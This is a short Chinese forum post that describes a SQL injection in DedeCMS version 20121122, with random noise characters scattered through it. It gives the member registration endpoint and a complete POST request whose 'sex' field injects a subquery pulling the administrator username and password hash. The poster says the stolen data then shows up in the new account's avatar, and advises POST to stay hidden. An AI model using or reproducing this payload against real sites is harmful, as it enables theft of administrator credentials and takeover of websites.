dedecms版本 20121122
4 _$ _3 `; y9 p. R% D6 O' t2 w V, M
需要magic_quotes_gpc=Off4 `1 T3 p" B" y4 C. a
) G& p( p/ |1 A9 P7 q$ }# ]% f应该是没有什么大危害的漏洞.
6 r" @/ h; x! _6 R# Y' x6 Z原来发过一个Dedecms注射漏洞,貌似并没有修补,重新利用了一下,可以获得管理员密码.
& C, q$ q. c& l3 J$ }; ?9 k/ f( X% _# i6 d
是一个漏洞.其实不仅仅是审核机制绕过,也可以获得管理员密码的.
* [8 J6 \- y9 k3 I; D. V' CPOST提交以下数据,其实不用POST提交的,这样隐蔽点.* O& d8 n: O0 r( d, M8 W4 c* }
7 {" u8 t2 c( x5 e- y
http:///de/member/reg_new.php1 u+ @* `& [5 f7 h6 }1 Q
% I0 ^6 V+ p; J( S
POST; M. I7 g# x' V( T( A/ F
$ b# A! y$ |; ]dopost=regbase&step=1&mtype=%E4%B8%AA%E4%BA%BA&mtype=%E4%B8%AA%E4%BA%BA&userid=c4rp3nt3r&uname=c4rp3nt3r&userpwd=ssssss&userpwdok=ssssss&email=sss%40ss.ss&safequestion=0&safeanswer=&sex=boy',100,100,'sss@xx.xx',1000,0,'www' and @`'`,(select concat(userid,0x3a,pwd) from `#@__admin` limit 1),0,'',1316751900,'',1316751900,'');%00&vdcode=glos&agree=5 Z& Q) V% X5 R0 F
0 x+ y7 o- O5 C# G7 L0 W# o成功注册后,头像处里面有好玩的信息.
6 w0 y- V, n7 M/ |6 u8 t7 W) K ^0 C/ p
|
发表于 2012-12-5 10:03:32
收藏
支持
反对